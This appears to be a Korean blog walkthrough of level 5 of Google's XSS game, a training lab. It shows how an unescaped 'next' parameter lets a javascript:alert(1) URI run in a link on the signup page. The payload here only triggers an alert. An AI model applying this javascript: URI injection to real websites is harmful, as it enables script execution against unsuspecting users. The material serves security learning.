XSS game : https://xss-game.appspot.com/
✔️ 문제
문제는 다음과 같다.
이번에도 동일하게 어딘가에 alert를 삽입해야하는 것으로 보인다.
✔️ 풀이
해당 문제에 Sign up 링크로 들어가보자.
다음과 같이 input 태그가 하나 주어진다.
아무거나 입력하고 보내면 다음과 같이 되는데,
코드를 한번 살펴보자.
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
Thanks for signing up, you will be redirected soon...
<script>
setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</script>
</body>
다음과 같이 코드가 삽입되어 있다.
자바스크립트 코드만 떼어서 생각해보게 되면,
setTimeout(
function() {
window.location = '{{ next }}';
}
, 5000);
보기 편하게 다음과 같이 작성할 수 있는데,
해당 next에 대한 부분은
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
<!-- We're ignoring the email, but the poor user will never know! -->
Enter email: <input id="reader-email" name="email" value="">
<br><br>
<a href="{{ next }}">Next >></a>
</body>
해당 부분에서 확인할 수 있다.
해당 next에는 링크가 들어가게 되는데,
<body id="level5">
Welcome! Today we are announcing the much anticipated<br><br>
<img src="/static/logos/level5.png" /><br><br>
<a href="/level5/frame/signup?next=confirm">Sign up</a>
for an exclusive Beta.
</body>
첫 화면에서 이렇게 next 인자를 confirm으로 보내고 있는 것을
확인할 수 있다. 해당 URL에서 파라미터 값을 수정하여 보내게 된다면?
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
다음과 같이 URL을 새롭게 작성하여 넘어가게 되면,
다음 페이지에서 해당 스크립트가 들어간 것을 확인할 수 있고,
Next >> 로 표시된 링크를 누르게 되면,
정상적으로 문제 풀이에 성공하게 된다.
화이팅 💪
'보안 > XSS' 카테고리의 다른 글
[XSS] xss-game Level 6: Follow the 🐇 (0) | 2022.12.28 |
---|---|
[XSS] xss-game Level 4: Context matters (0) | 2022.12.28 |
[XSS] xss-game Level 3: That sinking Feling... (0) | 2022.12.19 |
[XSS] xss-game Level 2: Persistence is key (0) | 2022.12.19 |
[XSS] xss-game Level 1: Hello, world of XSS (0) | 2022.12.19 |